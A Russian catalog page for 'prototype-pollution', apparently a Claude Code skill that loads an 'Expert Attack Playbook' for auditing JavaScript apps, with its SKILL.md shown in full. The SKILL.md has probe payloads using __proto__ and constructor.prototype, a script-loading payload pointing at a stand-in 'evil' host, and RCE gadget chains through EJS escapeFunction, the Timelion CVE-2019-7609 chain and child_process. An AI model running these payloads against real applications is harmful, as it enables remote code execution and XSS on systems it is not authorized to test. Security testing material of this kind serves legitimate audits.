К основному содержанию
скилл CX Codex

prototype-pollution — скилл для Claude Code: что делает и установка

Проверяет JavaScript-код на prototype pollution: от опасных merge-операций до чтения загрязнённых свойств. Нужен для авторизованных аудитов Node и браузерных приложений.

Установить в Claude Code · Через Skills CLI (Vercel) Все способы и платформы ↓
npx skills add yaklang/hack-skills --skill prototype-pollution -a claude-code
Открыть на GitHub

Что делает prototype-pollution

Скилл ищет места, где пользовательский ввод попадает в глубоко вложенные объекты через JSON.parse, Object.assign, парсеры запросов и рекурсивное слияние. Он разбирает пути __proto__ и constructor.prototype, помогает проверить клиентские фрагменты URL и серверные JSON- или form-запросы, а затем наблюдать последствия в следующих чистых запросах.

Внутри есть сценарии для проверки merge-точек, таблица серверных сигналов и разбор цепочек, где загрязнённые свойства читают qs, шаблонизатор EJS или вызовы child_process. Также перечислены инструменты для поиска и подтверждения уязвимых мест. Проверять следует только разрешённые цели: автоматические тесты могут менять состояние приложения.

Какие задачи решает

  • находить опасные глубокие слияния объектов
  • проверять обработку ключей __proto__
  • сравнивать пути __proto__ и constructor.prototype
  • замечать побочные эффекты после загрязнения прототипа
  • искать цепочки от prototype pollution до RCE

Примеры запросов агенту

  • Проведи авторизованный аудит JavaScript-приложения на prototype pollution и найди места с JSON.parse, Object.assign и глубоким слиянием.
  • Проверь серверные JSON- и query-входы через qs, сравни __proto__ с constructor.prototype и опиши наблюдаемые признаки без запуска вредоносных команд.
  • Проанализируй найденную merge-точку: какие свойства из Object.prototype могут прочитать EJS или child_process?

Как установить prototype-pollution

1Через Skills CLI (Vercel)

npx skills add yaklang/hack-skills --skill prototype-pollution -a claude-code

2Вручную: положить файлы

~/.claude/skills/prototype-pollution/SKILL.md

Папка скилла целиком; для одного проекта — .claude/skills/prototype-pollution/

По шагам, с командами для каждой платформы: Как установить скилл в Claude Code: пять способов

Вопросы о prototype-pollution

Как установить prototype-pollution в Claude Code?

Выполните npx skills add yaklang/hack-skills --skill prototype-pollution -a claude-code, затем повторите npx skills add yaklang/hack-skills --skill prototype-pollution -a claude-code. Файл скилла находится в ~/.claude/skills/prototype-pollution/SKILL.md.

Что делает prototype-pollution?

Скилл помогает искать и проверять загрязнение прототипа в JavaScript-стеках. Он рассматривает клиентские и серверные входы, merge-операции и последующие места, где загрязнённые свойства могут повлиять на приложение.

Какие библиотеки и сценарии он проверяет?

В материалах отдельно упомянуты lodash.merge, deep-extend, hoek.applyToDefaults, qs, EJS и вызовы child_process. Для тестов нужны разрешённые цели, поскольку автоматические проверки способны вызвать побочные эффекты.

Исходный текст

SKILL.md · MIT
---
name: prototype-pollution
description: >-
  Prototype pollution testing for JavaScript stacks. Use when user input is
  merged into objects (query parsers, JSON bodies, deep assign), when
  configuring libraries via untrusted keys, or when hunting RCE gadgets via
  polluted Object.prototype in Node or the browser.
---

# SKILL: Prototype Pollution — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: Expert prototype pollution for client and server JS. Covers `__proto__` vs `constructor.prototype`, merge-sink detection, Express/qs-style black-box probes, and gadget chains (EJS, Timelion-class patterns, child_process/NODE_OPTIONS). Assumes you know object spread and prototype inheritance — focus is on **parser behavior** and **post-pollution sinks**.

Routing note: prioritize PP when you see deep merges, recursive assign, `JSON.parse` followed by `Object.assign`, or URL queries converted to nested objects.

## 0. QUICK START

### Client-side first probes

```text
#__proto__[polluted]=1
#__proto__[polluted]=polluted
#constructor[prototype][polluted]=1
```

When input can reflect into DOM or framework routing, pair with `alert(1)` / `console` checks to observe whether global object properties were polluted.

```text
#__proto__[xxx]=alert(1)
```

### Server-side first probes(JSON / form)

```json
{"__proto__":{"polluted":true}}
```

```json
{"constructor":{"prototype":{"polluted":true}}}
```

After sending, check whether unrelated follow-up responses show abnormal headers/status/JSON spacing, or whether app logic reads `Object.prototype.polluted` (see §3 detection table).

### Quick boolean

If target code uses `lodash.merge`, `deep-extend`, `hoek.applyToDefaults`, or some `qs`/`query-string` configurations, **raise priority**.

---

## 1. MECHANISM

**Prototype chain**: when accessing `obj.key`, if `obj` lacks own property `key`, lookup walks up `[[Prototype]]` until `Object.prototype`.

**`__proto__`**: many parsers treat literal key `__proto__` as a magic path that attaches child properties to the prototype. Merging `{ "__proto__": { "x": 1 } }` can be equivalent to `Object.prototype.x = 1` depending on implementation and patch level.

**`constructor.prototype`**: `constructor` typically points to the object's constructor function; `constructor.prototype` is that constructor's prototype object. For plain objects this usually links to `Object.prototype`. Example path:

```json
{"constructor":{"prototype":{"polluted":1}}}
```

This is not always equivalent to `__proto__` (filtering, JSON parsing, Bun/Node differences), so **test both paths**.

**Core issue**: this is not just "one extra parameter"; in non-isolated merge logic, attacker-controlled keys point to **prototype objects**, giving **global** or shared template context malicious properties that later code reads normally, triggering gadgets.

---

## 2. CLIENT-SIDE DETECTION

### URL fragment

```text
https://app.example/page#__proto__[admin]=1
```

```text
https://app.example/#__proto__[xxx]=alert(1)
```

If router or analytics code parses fragments into objects and then merges, pollution may occur.

### `constructor.prototype` path

```text
#constructor[prototype][role]=admin
```

### DOM / attribute injection ideas

If the framework merges attribute names as object keys:

```text
__proto__[src]=//evil/xss.js
```

Event-handler style keys (implementation-dependent):

```text
__proto__[onerror]=alert(1)
```

**Verification**: open a fresh page without fragment and check in console whether test keys remain on `Object.prototype`; account for extension and DevTools interference.

---

## 3. SERVER-SIDE DETECTION (Express / Node, black-box)

The payloads below assume body/query is deeply parsed into objects by **qs** or similar parsers (possibly with `body-parser`). Observe **global side effects**, not only current endpoint return values.

| Payload (JSON example) | Expected observable signal |
|----------------------|----------------|
| `{"__proto__":{"parameterLimit":1}}` | Multi-parameter parsing in follow-up requests is ignored or abnormal (`qs`-style `parameterLimit`) |
| `{"__proto__":{"ignoreQueryPrefix":true}}` | Double-question-mark prefixes like `??foo=bar` are accepted or behavior changes sharply |
| `{"__proto__":{"allowDots":true}}` | Nested keys like `?foo.bar=baz` are expanded via dot notation |
| `{"__proto__":{"json spaces":" "}}` | JSON-serialized responses gain extra spaces (`JSON.stringify` spacing setting polluted) |
| `{"__proto__":{"exposedHeaders":["foo"]}}` | CORS responses include `foo`-related headers (if framework reads config from prototype) |
| `{"__proto__":{"status":510}}` | Some response status changes to 510 or another abnormal code (app reads `status` from object) |

**Operational tip**: send pollution request first, then a **clean** request to observe persistence; connection pools and worker lifecycle affect whether impact is globally visible.

---

## 4. EXPLOITATION GADGETS

| Target / scenario | Payload or pattern | Notes |
|-------------|------------|------|
| **EJS** | `{"__proto__":{"client":1,"escapeFunction":"JSON.stringify; process.mainModule.require('child_process').exec('COMMAND')"}}` | If template engine options like `escapeFunction` are read from polluted prototype, this may lead to RCE; strongly version/config dependent |
| **Timelion expression chain (CVE-2019-7609)** | `.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("COMMAND")')` | Historical chain: prototype pollution + timeline expression execution; useful to understand **expression + PP** combinations |
| **Node `child_process`** | Pollute `shell`, `argv0`, `env`, `NODE_OPTIONS`, etc. (merged into `exec`/`fork` option objects) | Depends on whether later code calls `spawn`/`fork` and reads options from prototype chain |
| **Generic constructor path** | `{"constructor":{"prototype":{"foo":"bar"}}}` | Bypasses weak validation that filters only the `__proto__` key |

**Chain mindset**: pollution -> dependency reads `obj.settings.xxx` without `hasOwnProperty` -> RCE / SSRF / path traversal.

---

## 5. TOOLS

| Project | Purpose |
|------|------|
| **yeswehack/pp-finder** | Helps locate PP-prone merge points and patterns |
| **yuske/silent-spring** | Research and detection around prototype-pollution surfaces |
| **yuske/server-side-prototype-pollution** | Server-side PP testing suite/methodology |
| **BlackFan/client-side-prototype-pollution** | Browser-side PP cases and payloads |
| **portswigger/server-side-prototype-pollution** | Burp ecosystem extension / supporting material |
| **msrkp/PPScan** | Scanning/verification helper |

Prioritize use on **authorized** targets; automated tools can cause side effects on stateful applications.

---

## 6. DECISION TREE

```
                    Input merged into nested object?
                    (query, JSON, GraphQL vars, YAML→JSON)
                                |
               NO --------------+-------------- YES
               |                              |
        Other vuln class                Parser allows __proto__ /
                                        constructor.prototype keys?
                                                    |
                                    NO --------------+-------------- YES
                                    |                              |
                             Check unicode /                    Confirm global effect:
                             bypass of key names               clean follow-up request
                                    |                              |
                                    +--------------+----------------+
                                                   |
                                                   v
                                    Gadget present? (template, spawn, JSON.stringify opts, CORS)
                                                   |
                              NO ------------------+------------------ YES
                              |                                         |
                       Report PP as DoS /              Build minimal RCE or
                       logic impact                   high-impact PoC
                              |                                         |
                              +---------------------+-------------------+
                                                    |
                                                    v
                              Client-side: fragment / DOM / third-party script
                              Server-side: qs/body-parser/lodash/deep-merge version audit
```

---

## Related routing

- Input routing and multi-injection parallel entry -> [Injection Testing Router](../injection-checking/SKILL.md).
- Template execution chains (non-PP) -> [SSTI](../ssti-server-side-template-injection/SKILL.md).
- Insecure deserialization (non-JS prototype) -> [Deserialization](../deserialization-insecure/SKILL.md).

© yaklang · MIT · yaklang/hack-skills

Похожие скиллы

Всё по теме «Безопасность» →
javascript-expert martinholovsky Скилл для Claude, который подключает к агенту экспертизу по JavaScript: ES6+, асинхронность, Node.js, браузерные API и защита от XSS. CX Codex +1 335установок nodejs-backend alinaqi Скилл задаёт структуру Node.js-проекта и готовые шаблоны для Express, Fastify и репозиториев. Подключается, когда агент правит код в src/api, src/routes или src/server. CX Codex +1 434установок api-rate-limiting secondsky Скилл помогает добавить ограничение частоты запросов к API: алгоритмы token bucket, sliding window и вариант на Redis. Пригодится, когда открываешь публичный API или делишь доступ по тарифам. CX Codex +1 491установок setup-zoom-webhooks официальный anthropics Справочник по вебхукам Zoom: подписки, проверка подписей и обработка событий. Нужен при сборке HTTP-интеграции с Zoom. CX Codex +1 2 100установок api-filtering-sorting secondsky Скилл для ИИ-агента, который помогает собрать фильтрацию и сортировку в API: разбор query-параметров, валидация, защита от инъекций. CX Codex +1 418установок bun-runtime affaan-m Скилл объясняет агенту, когда брать Bun вместо Node, и даёт команды для установки, тестов и деплоя на Vercel. CX Codex +1 4 700установок

Из того же набора93

vm-and-bytecode-reverse Плейбук по реверсу самописных виртуальных машин и байткода: находит диспетчер, разбирает опкоды, помогает писать дизассемблер. CX Codex +1 3 700установок websocket-security Помогает анализировать безопасность веб-сокетов, выявлять уязвимость CSWSH и тестировать handshake. Пригодится при аудите чатов, уведомлений и реального времени в веб-приложениях. CX Codex +1 3 800установок dangling-markup-injection Плейбук по dangling markup injection: когда HTML-инъекция есть, а JavaScript заблокирован, скилл показывает, как вытащить CSRF-токены и данные страницы через незакрытые теги. CX Codex +1 3 600установок dns-rebinding-attacks Скилл передаёт агенту плейбук по атакам класса DNS rebinding для обхода Same-Origin Policy. Он пригодится при пентесте приложений, обращающихся к внешним доменам из браузера жертвы. CX Codex +1 3 600установок hash-attack-techniques Плейбук по атакам на хеш-функции: length extension, коллизии MD5 и SHA-1, тайминги HMAC, proof of work. Для CTF и проверок по договору. CX Codex +1 3 600установок arbitrary-write-to-rce Справочник по превращению произвольной записи в запуск кода. Подсказывает рабочие цели в памяти с учётом версий glibc. CX Codex +1 3 600установок active-directory-certificate-services Скилл разбирает уязвимые настройки AD CS и сценарии ESC1–ESC13. Пригодится для проверки эскалации привилегий и сертификатной персистентности в Active Directory. CX Codex +1 3 600установок saml-sso-assertion-attacks Плейбук для тестирования SAML SSO: проверяет, какие узлы XML подписаны, как валидируются Audience и ACS, где ломается доверие между IdP и SP. CX Codex +1 3 600установок

Спонсоры проекта

Компании, которые помогают держать аналитику открытой